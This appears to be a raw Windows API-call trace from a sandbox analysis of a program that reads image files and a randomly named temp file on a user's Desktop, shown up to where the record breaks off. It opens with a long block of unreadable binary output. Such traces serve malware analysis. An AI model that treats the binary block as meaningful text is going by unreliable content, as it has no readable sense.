㈥ఙ醤咮⠫廊䃌竻㕹㗦䁈뷸閱哜쒎㰾⌤ፓꅭ닖掻㆐౴눀퉍췞罤荫ඊ鈖嫔ʂ熭?⊸掉⮯⧘?䶎Ⲳ⩃饗ྍඕ᥎霐ᵃ疋ਃ烰͸췓赴䞰陰䰠廠✟?䯤ⶦ茨⟪开⣚螰\xfdd7訽ꟹ꒲탩﯉Є뿠鄞⃬복吗៲ﺥ閂꽱澿熿⧖ﯙ뜭☁䖘発人抣៎帐鲤响摕칡ó褨褝㒛⪴ꔶᅃ?㢑Ꮢꆢ깛㇈á꫞ꭁ⼚蹤⼁⯷吐鸽鮻?콉款♶활쫢貵텨䟥်㉥溡⇥怴砇髭瑮猍ꃶ鶁좵阜憇懰鲁碛śᙽ瓴⡃姍䵽࢐퓴㝈ꕚ汱ᄫ巂읗蹍מּ윸躭洯ᗭ΢㈃䈫ʄ椨쪢舥妽媫蘕ꣃ⫃?㸃ⱦ㤉櫜ꖿ響뎉䪂䀂࠘畃㦮㐔ꣃ榶ᬊꭱ漊⩆૥ꞅ뿆蝔ퟝꎔꝡ鍜✚鞝滑齐彻㪶듓⽍ꓨẰⓙ榝焣斡郱붷絥㺅ꤺ擄䄲佯璝鷓孜ᗜ㧦ᮘ⮥嬟ᩁ芼푔Մ啕㈎㧸鸵颤ص蜺ᆡ懺ࠅ泃㩎䓵缸ຫꭉ䵴떡?ꔱ㯭砩ꂒꇸퟚọ甴ᮔ谈䯚飿㌱혥証揔諸畞蛗퐖髫鱿쩻끗ﴐ弹亘㎸Ž?躗쌏诂鵸䑀県錝Ꮆ↮榝㍚愙᰺槲஀첤䋉襣⛩橐擐傻죰鍳?쎩般폝⿱印歞輀鷎쟿㗳䆜敛튧櫽ꏤ㻵㯋䓥ꗿ瓦㣧祐퇦졩ﶟጼ槗뱡ᙡᾉꔊ苴佚틧赏籯⹾ท쏘㌺獖理卣ꂬ藅೿̇埿寨ࢢ톂偖球勚⧎ሩ舝䨮쇭朅왯ᱵᗉ?稜縙쉍铕Ә俐㍮躆鸣扩뼟颴ᰬݴ궊?ꜗꃗ秌탡仳긙䐄䏛맑ꅞ끀㴓꼚킓鲅હ빑書旪?뮙ῼ㏳隊ზ耥嵆삝⡬ꩢ並뿡퀗蝢₧쬿➂鑍ꀯ귑鐸⍦竵缍犿Ǣ諔떑ᨅ䊘푾쵬繵넋蒢䈥늶퇶ᕦ捘ۉ罢洍㇣⵪굇꣡傿ⶥ纏?딖遡?⩷卨⏠?훩곶旼㫷辙ꙑ觽ᝪੑ唗㑄蕄䴞톈㐐豭瀶㨚岟᭚ᝧ㢀즯ᇧ벩䨫胤Ḉ汐틆툡⧹뚆窾땗驘铁䔧嫩\xfdda㬓䘑뒬壭侨▩Ő῱㆐吆ꚥἎş풉?ၟዖ墽勜ᨢ蛛䊊Ｘ?둴꧐꜂鿌ὓ刲옥遒਍섩㒙ᇛ㒌ᛃ픘䡍遷惃㸴俤胸崃ঠ琄俔햧ꄿ榜ﶖ⷟冘覔摛??鑙ㄈဆ直껕褬碭≳?鼮ᖇヲ퍻䮋蒱⸈韶ഐ蒎僖鋮팪簳⢼淲Ḧ?㧛饦捏啥㸉ᤵ絉몗੦塙ჹ캶䛩䊲定ﭒꞋ齀蘩夘脫텱?䦐번䨸?颒ܕ▖?ᑭĎ痩않贰㭋儦韲껐疫겻孱屓䰃鞽ੜ奫魹㫦飯催睍薑ῖ壼ҔՅ缻砩伻矴圼칵嚷櫗轩㐺쥱◫ꩍ܊ⵂ䄠濑낓綘ʧ㪐ꇀꄅ谽榢걲엱઱?䃊좌闚ꋲ㞗餀뚉礆遌ᛅ⋆俐鮝⢯熓宩鎩䏁ɿ䖍甾筮榦샹䅦煴ጁ腱逕䓹硄榎톒竞￯억ᩇꐃ畯殨纵됑鳫ྟ턢?軬䟹⥽樒猌턵돪芯䪐⑥컣捤痲깧㳲ៗ腽웣ᘲ崍౮獾उُ﫨⼫엓㡫炇퐳▸鸝륰伪鑎푓뫃ณ窺苞ᤃ籐鳱킠葳햏賃沓ڗ葼펣༢⼔㥓緦騬䰅䪲蜲ꗧ≂橜쑐㳐짴ᖌ幊셗煿续氦є즥ﱣ㻳㯨신䣿↙⥆轭偓蔃㏽㚽⠩ꦼ綊᠚鞫챫㌎?荎ꬖ꿏१۶ٖ蒘蜒㿳䯿辂뻝꫅᫥暨籦ꗀ냋䚒쬷ꃶ쮦㛸ឝﾑ晬塛參孓팵ᅘ﹟㵙ሑ㸫镬ᐱ\x01໌䢴鮓㑣嵫冨?朩녤痕풱ꔈ?凰᚜Ꮏ砋쫕ዲਔ龶䫧䜵Ꙩ㼋⳴㚅蹱鑋Kச릩뀈᳅逜瘀Ἧ䂬化붭┝齴黖蠎䒱㞭萀ꇝ攥᾿ᵘ뙠톸य़ዴ굏拾畨䯳瘼嶇郄鹙Ꮾ罁ᬈ”폩婨鬞쩩歛蓬읟㞄庸熧褽䗷뗚禽묪㺗芾갿뵲↾ਪ㍂ᐚ풞叴ⓙ딗맒袺ᚻᱜ谢왃ꢠꛔ?텴곭놓㟷⯻깴傶㪢폺ﵫ䊇쭻๣䧔팱껛煙劜⍹甆?ᒌ塝撠媵ㆁ휹⁰ᗤ⒨嬥胙ᙂ籙뗜䟄僚∼瓷릦裹⥏ᑬ秂쏺闱?쫑ၤ㎮銾㷊䯢︭鎅寛紦ᑑএި꧃㈯疫铚쫄赮帉픾담㋤䜲神靄㋻謔̗줢抖㰪肭૨蝗⏔›굒☄吓熚ꗂ㍸킌劼鏾ಁ㳺右⤋䳒ힷ革ᭇǩ➆귕胗꺲섇蛾힃埡щ奥岾퇪?띸刕潴檟柴碢ᐄ辙㗂赚蹑ヱ긳?㛱粴屉Ѻ叞雓⋸ᶥ䪆䉛᫮↻杸깐엿䗴ቾ䀿䇇읗⭈⋔?㦍䉓訸뵈죅趆㝱镍蔧뫓滺Ҩ쩷醦湔픜꠺廰⭰㚇뺴뫊抿፸뉀㑪궗媢堪䩟뺿?方ꗎ굮峙?恊ꡖᥣ더㋍ነ巏嬂Ჭ怷琣僺ナ늨耖⛀榱⑶џ뤤騾㳐솷鶨?뜿嵒퀶롆툔ꄱ㮱룙剂⬬츥挅概娭ѣ噏糡㋳縝つ䉮샖袳냍ꃱ뗾惶ⵤ匇㏽㓫堡掶啑뵡䑩굳솼ᵁ?꼲⪂⇱爘輤䁤﵀劶회褒￀ퟫ꺔ፗ늏⭂郐띧弃﨏阦吳慪䢐무諓⤭﴿蹆剝쏋砀퓚䪸䌲ꔰ彎啚챨ટ㓿怘∑鏖쯏遼㈰ꥤ匚왙띚䄕끜ᒒ䮕㜂잠箥爱꽍롆泴ꋠᎇ綤紶꧶笆㘮붵ﻥ쐇?֏ⷃ⠎넔㐃퀩㙘䊞肇볭ꃎ๫౞毐䶍孋ꯍ埞倊ㅡ㟜╟˄皐㻰ㆂ늙玥̞掌蘻?崪䯣牸㼈ㅘ䔅圮ᔔ赘䁍穽ᯢⱚⅱᛇ䥭ళ쳈蒜뻵倌Ꝙ좈蕨?哂릵悃쮵唤⮋ᙶ괌ㅶⅡ㿄衛麖缣ۿ눴蒂ﰨ뉶∰屒⺻⦏뒹滗儇됀娠ꔶ맵䕰啒㘂᧱퐋׼樚鷭뚘︔䒧๢ꅜꕨ䇆᫲㟉롕儁雨궨袎갱뽝齻嘂䯕Њ뼄㎌ܧ莒ຢ✢ᗮ瀍헔㟫䃛Ⓨ嵬倫✹耍ⓐ輐Ⱉꈁ䄫?鎋擵亷ꏾỡ໋¼稨뽮Ⳟ憅錨쿕?ﰬ洘麍⢸ሸ笝鯎౵魤쀱煹⺄뻅눳躳鷡罺賁?룈恒弱魣銓겊㍙诏ᤲ乼肫ᕪ⣰饴僦혍⍪ᾡ̼讂现穰糹㏉ゟ綵汢꟯薒帇僚炢佪㬋跍驺ԭ첺鵂뤑凴웪叄걔녕䎛岒뛛︋욓ដ嬐色妱流鴌챡䗕慲?箑ᮄ〈ꎊ负稘⬨᳼뜾脲噻膍랭䚮栿됮ꄨ鄥✝푗訨ୗ輔홉?稧尴?쾇ᜐ毗榍癩눸⍖?ᘋ녓簒ꧩ⻏鷌폈균᷉㨥ꨂʼ捑꟩쩪❊ꏻ뙐냜镀죮碵綠仝꼉霈䗟ꬡ㪵̬妈䐦ۇ봕눷瓉ῶ㌝㡽葑ፎ⸑ꎭ쐮﷊㴭⠤乄ܒ쨉ꋎ밚찣岨嶅楇햶動䴥差콇냖悧㈾멙⸊贎韛떁傊㓀៦鄾똀埙쫒첽剣鈓᏿뙥ꓭ龔꤈〝癄ع繬榐æ炮⼐☋?蓙䩳럧흓ﺠ蒑䰭쯕ᅲ異䉚ᓛꞍ諲輐飲ᑓ䨆鸬꼑㇞塥悭囒천昄믐鳽㌅禫䂞畦ᥙꥊ腎꧈デ儀㶬ᰉ疏娦͂捋ꐎ䊍鼳䊧镼㉄⩑頗럁䔎䘗ᬇ깳ଋ벿휤䭳嬂⻩浱褴잎਽Ｙ뫼젬杣㙮䫻ꋵᖍ畉匠聺궛耊娅먾됏蜅㹂ᬛ⑖咶넞翷嵝㠊៼ꔟ錐?ỻ廕લ?著銁艾춆䀄ǿ❖셋㒍ᦀ濻箨⨴涨叐頒뻛㳜珖䂚ꔾ퇽袕역䝜ꬽ?愈⦑쿦蝘䮜묷烟壩彏瞒䅺䈍₉櫲쩑㢺⯨唅睎柑䙑⸷䙑୤耔ᒱ荱㬸뿸瓕笄ꆏ圗?밮\xfdeb둪톲屗毙삞Ն⎰斗붅崙뒅仪줕請㠍朞݀?ᨷ➡冕䳫玔?药ꊟ囮㺃]䤴൘ꓯ箭䥣묘굼ﰆﻤ᳐䔂۠?쀎?㒂睪쫳䞲由헬?茭ᣭ⽎⧐꤬큖㥤?雳퀬慤毁溈骶ꭿ˙⋨벸⣮睏돯銂忽ﺢ쥱暰뜖Ѵ穈◂?큉滀鱣꠆䍇폹칏氮ጨ?툁괼睊냲礯൒뚪븀鶇鄅忳ꑡ慊ꊊ४撦耝潾?깂灜ۚ줟듀칶筴藮蚬櫸ꫠ㑀?ㅼ\x8c嘁쓲䄚腔Ბ귓㵨쎎ব秤酢敞댝卓昮䲕䳤砥衂룆旃뎑喣쮘ꛔ羶壠쎅뒴໑抮ꒂ嬝龜㒒ꗥ᷵䝵ミ롄儼맲鵠䴝꫸颭⩽ڲⓌ梒尦씐吒칬ಃ₍핆넓厑ᓏᡅ빠藻苧뾔ኲ릂儶遅Ɦ蒱⣯㱊葛ᄗ⃟縚⅑鸐玱懏쭄䕁풘뜉媛㫚ၵ跧墍凤뼟⃿绫ふឥ啎厌垏?♧̠語됽盂ᷰ猠?腳菜勞꾿힘๾뢐溄겏请炅儦ሢ?涮ᤚ᫑훵ส쓈躱࡝䞼斈ደ輲궅阳ॴԆ乘Ꝩ璱᧧隗츭릿鮊╷㇝儋농盯厢塒૷끡뉫資幦逪औથ欙郆㉯쐝ᾭ῱랂⁸㢱歼㳅嶉辺날蕉側ᱛ驅牰⛬崠囖?싵㓺艹鄺馡॥⿺縐銸᝷臎畊쒍?鄇ﴪ⸍痈縤꟟崥㨄⹠矿橽쾡礦") returned 0x5d40 [0122.159] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x14ed894, cbMultiByte=23873, lpWideCharStr=0x53beb84, cchWideChar=47745 | out: lpWideCharStr="æ\x03\x11%/\x1dÚ0¯\x1dŸ‰Ì’Ay\x8fè´Ð0ÂZÚ/@ã\x08Çâ#Þ{ôö•<\x05¤˜!\x18w") returned 23873 [0122.159] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", lpFilePart=0x18e780*="Garden.jpg") returned 0x4a [0122.160] GetFullPathNameA (in: lpFileName="9eF3YhNqLv0n S6TOFHuCoDQ3hoEyBO -ZvC1m QWIeZg4911oCks0Qve0E2fwwEj31gWk s19vHAC2JWTulchxhmYF9ZXoUYbKws.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9eF3YhNqLv0n S6TOFHuCoDQ3hoEyBO -ZvC1m QWIeZg4911oCks0Qve0E2fwwEj31gWk s19vHAC2JWTulchxhmYF9ZXoUYbKws.tmp", lpFilePart=0x18e708*="9eF3YhNqLv0n S6TOFHuCoDQ3hoEyBO -ZvC1m QWIeZg4911oCks0Qve0E2fwwEj31gWk s19vHAC2JWTulchxhmYF9ZXoUYbKws.tmp") returned 0x8f [0122.160] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", lpFilePart=0x18e708*="Garden.jpg") returned 0x4a [0122.161] GetFullPathNameA (in: lpFileName="9eF3YhNqLv0n S6TOFHuCoDQ3hoEyBO -ZvC1m QWIeZg4911oCks0Qve0E2fwwEj31gWk s19vHAC2JWTulchxhmYF9ZXoUYbKws.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9eF3YhNqLv0n S6TOFHuCoDQ3hoEyBO -ZvC1m QWIeZg4911oCks0Qve0E2fwwEj31gWk s19vHAC2JWTulchxhmYF9ZXoUYbKws.tmp", lpFilePart=0x18e6e4*="9eF3YhNqLv0n S6TOFHuCoDQ3hoEyBO -ZvC1m QWIeZg4911oCks0Qve0E2fwwEj31gWk s19vHAC2JWTulchxhmYF9ZXoUYbKws.tmp") returned 0x8f [0122.161] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9eF3YhNqLv0n S6TOFHuCoDQ3hoEyBO -ZvC1m QWIeZg4911oCks0Qve0E2fwwEj31gWk s19vHAC2JWTulchxhmYF9ZXoUYbKws.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x33466539, cFileName="YhNqLv0n S6TOFHuCoDQ3hoEyBO -ZvC1m QWIeZg4911oCks0Qve0E2fwwEj31gWk s19vHAC2JWTulchxhmYF9ZXoUYbKws.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0122.161] GetLastError () returned 0x2 [0122.161] GetLastError () returned 0x2 [0122.161] SetLastError (dwErrCode=0x2) [0122.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0122.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0122.162] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0122.171] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.172] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.172] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.172] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.172] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.172] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpFilePart=0x18e870*="Garden.jpg") returned 0x44 [0122.195] RtlMoveMemory (in: Destination=0x14b8ee4, Source=0x14b8ed8, Length=0x5d3f | out: Destination=0x14b8ee4) [0122.195] GetLastError () returned 0x0 [0122.195] RtlMoveMemory (in: Destination=0x14b8ee0, Source=0x18eaa4, Length=0x4 | out: Destination=0x14b8ee0) [0122.195] GetLastError () returned 0x0 [0122.195] RtlMoveMemory (in: Destination=0x14b8ed8, Source=0x18ea5c, Length=0x4 | out: Destination=0x14b8ed8) [0122.195] GetLastError () returned 0x0 [0122.195] RtlMoveMemory (in: Destination=0x14b8edc, Source=0x18ea5c, Length=0x4 | out: Destination=0x14b8edc) [0122.195] GetLastError () returned 0x0 [0122.196] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0122.196] GetLastError () returned 0x0 [0122.196] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0122.196] GetLastError () returned 0x0 [0122.196] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.196] GetLastError () returned 0x0 [0122.196] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.196] GetLastError () returned 0x0 [0122.196] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.196] GetLastError () returned 0x0 [0122.196] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.196] GetLastError () returned 0x0 [0122.196] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.196] GetLastError () returned 0x0 [0122.196] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.196] GetLastError () returned 0x0 [0122.197] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.197] GetLastError () returned 0x0 [0122.197] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.197] GetLastError () returned 0x0 [0122.197] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.197] GetLastError () returned 0x0 [0122.197] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.197] GetLastError () returned 0x0 [0122.197] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.197] GetLastError () returned 0x0 [0122.197] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.197] GetLastError () returned 0x0 [0122.197] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.197] GetLastError () returned 0x0 [0122.197] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.197] GetLastError () returned 0x0 [0122.197] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.197] GetLastError () returned 0x0 [0122.198] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.198] GetLastError () returned 0x0 [0122.198] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0122.198] GetLastError () returned 0x0 [0122.198] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0122.198] GetLastError () returned 0x0 [0122.198] GetCurrentProcessId () returned 0x9e0 [0122.198] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0122.198] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0122.198] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0122.198] GetLastError () returned 0x0 [0122.199] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0122.199] GetLastError () returned 0x0 [0122.199] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.199] GetLastError () returned 0x0 [0122.199] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.199] GetLastError () returned 0x0 [0122.199] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.199] GetLastError () returned 0x0 [0122.199] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.199] GetLastError () returned 0x0 [0122.199] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.199] GetLastError () returned 0x0 [0122.199] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.199] GetLastError () returned 0x0 [0122.199] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.199] GetLastError () returned 0x0 [0122.199] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.200] GetLastError () returned 0x0 [0122.200] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.200] GetLastError () returned 0x0 [0122.200] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.200] GetLastError () returned 0x0 [0122.200] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.200] GetLastError () returned 0x0 [0122.200] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.200] GetLastError () returned 0x0 [0122.200] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.200] GetLastError () returned 0x0 [0122.200] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.200] GetLastError () returned 0x0 [0122.200] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.200] GetLastError () returned 0x0 [0122.200] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.200] GetLastError () returned 0x0 [0122.201] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0122.201] GetLastError () returned 0x0 [0122.201] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0122.201] GetLastError () returned 0x0 [0122.201] GetCurrentProcessId () returned 0x9e0 [0122.201] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0122.201] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0122.202] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0122.202] GetLastError () returned 0x0 [0122.202] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0122.202] GetLastError () returned 0x0 [0122.202] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.202] GetLastError () returned 0x0 [0122.202] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.202] GetLastError () returned 0x0 [0122.202] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.202] GetLastError () returned 0x0 [0122.203] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.203] GetLastError () returned 0x0 [0122.203] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.203] GetLastError () returned 0x0 [0122.203] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.203] GetLastError () returned 0x0 [0122.203] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.203] GetLastError () returned 0x0 [0122.203] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.203] GetLastError () returned 0x0 [0122.203] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.203] GetLastError () returned 0x0 [0122.203] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.203] GetLastError () returned 0x0 [0122.204] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.204] GetLastError () returned 0x0 [0122.204] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.204] GetLastError () returned 0x0 [0122.204] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.204] GetLastError () returned 0x0 [0122.204] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.204] GetLastError () returned 0x0 [0122.204] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.204] GetLastError () returned 0x0 [0122.204] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.204] GetLastError () returned 0x0 [0122.204] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0122.204] GetLastError () returned 0x0 [0122.204] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0122.204] GetLastError () returned 0x0 [0122.205] GetCurrentProcessId () returned 0x9e0 [0122.205] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0122.205] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0122.205] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0122.205] GetLastError () returned 0x0 [0122.205] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0122.205] GetLastError () returned 0x0 [0122.205] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.206] GetLastError () returned 0x0 [0122.206] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.206] GetLastError () returned 0x0 [0122.206] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.206] GetLastError () returned 0x0 [0122.206] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.206] GetLastError () returned 0x0 [0122.206] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.206] GetLastError () returned 0x0 [0122.206] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.206] GetLastError () returned 0x0 [0122.206] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.206] GetLastError () returned 0x0 [0122.206] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.206] GetLastError () returned 0x0 [0122.206] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: 